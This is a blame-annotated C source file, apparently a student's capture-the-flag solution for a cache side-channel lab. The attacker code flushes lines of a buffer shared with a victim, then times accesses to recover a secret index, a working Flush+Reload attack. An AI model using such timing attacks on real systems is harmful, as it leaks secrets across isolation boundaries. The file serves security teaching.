2024-02-07 14:23:56 +00:00
|
|
|
#include <stdlib.h>
|
|
|
|
#include <stdio.h>
|
|
|
|
#include <stdint.h>
|
|
|
|
#include <fcntl.h>
|
|
|
|
#include <sys/stat.h>
|
|
|
|
#include <sys/mman.h>
|
|
|
|
#include <unistd.h>
|
|
|
|
|
|
|
|
#include "util.h"
|
|
|
|
|
2024-11-04 11:29:19 +00:00
|
|
|
#define CACHE_HIT_THRESHOLD 200
|
2024-11-04 12:26:12 +00:00
|
|
|
#define WAIT_TIME 1000
|
2024-11-04 13:14:37 +00:00
|
|
|
#define AVAR 575479
|
2024-11-04 12:51:53 +00:00
|
|
|
#define CVAR 10020107
|
2024-11-04 13:14:37 +00:00
|
|
|
#define AVAR1 199267
|
|
|
|
#define CVAR1 4900501
|
2024-02-07 14:23:56 +00:00
|
|
|
int main() {
|
2024-11-04 12:08:56 +00:00
|
|
|
int index = -1;
|
2024-02-07 14:23:56 +00:00
|
|
|
int flag = -1;
|
2024-11-04 11:45:17 +00:00
|
|
|
CYCLES time = -1;
|
2024-11-05 01:55:32 +00:00
|
|
|
CYCLES new_time = -1;
|
2024-11-04 12:38:32 +00:00
|
|
|
int offset = 0;
|
2024-11-04 12:56:00 +00:00
|
|
|
int new_offset = 0;
|
2024-02-07 14:23:56 +00:00
|
|
|
// buf is shared between the attacker and the victim
|
|
|
|
char *buf = allocate_shared_buffer();
|
|
|
|
|
|
|
|
// [2.1] TODO: Put your capture-the-flag code here
|
2024-11-05 02:12:27 +00:00
|
|
|
for (int j = 0; j < 1024; j++) {
|
|
|
|
for(int i = 0; i < 1024; i++) {
|
|
|
|
clflush((ADDR_PTR)buf + i * 128);
|
2024-11-04 12:56:00 +00:00
|
|
|
}
|
2024-11-05 02:12:27 +00:00
|
|
|
for(int i = 0; i < WAIT_TIME; i++);
|
2024-11-05 02:37:28 +00:00
|
|
|
time = measure_one_block_access_time((ADDR_PTR)buf + j * 128);
|
|
|
|
if(time < CACHE_HIT_THRESHOLD) {
|
|
|
|
flag = j;
|
|
|
|
index = j;
|
2024-11-05 02:18:33 +00:00
|
|
|
break;
|
|
|
|
}
|
2024-11-04 11:29:19 +00:00
|
|
|
}
|
2024-11-05 02:12:27 +00:00
|
|
|
|
2024-02-07 14:23:56 +00:00
|
|
|
printf("Flag: %d\n", flag);
|
2024-11-04 11:45:17 +00:00
|
|
|
printf("Time: %d\n", time);
|
2024-11-04 12:08:56 +00:00
|
|
|
printf("Index: %d\n", index);
|
2024-02-07 14:23:56 +00:00
|
|
|
|
|
|
|
deallocate_shared_buffer(buf);
|
|
|
|
return 0;
|
2024-11-04 12:51:53 +00:00
|
|
|
}
|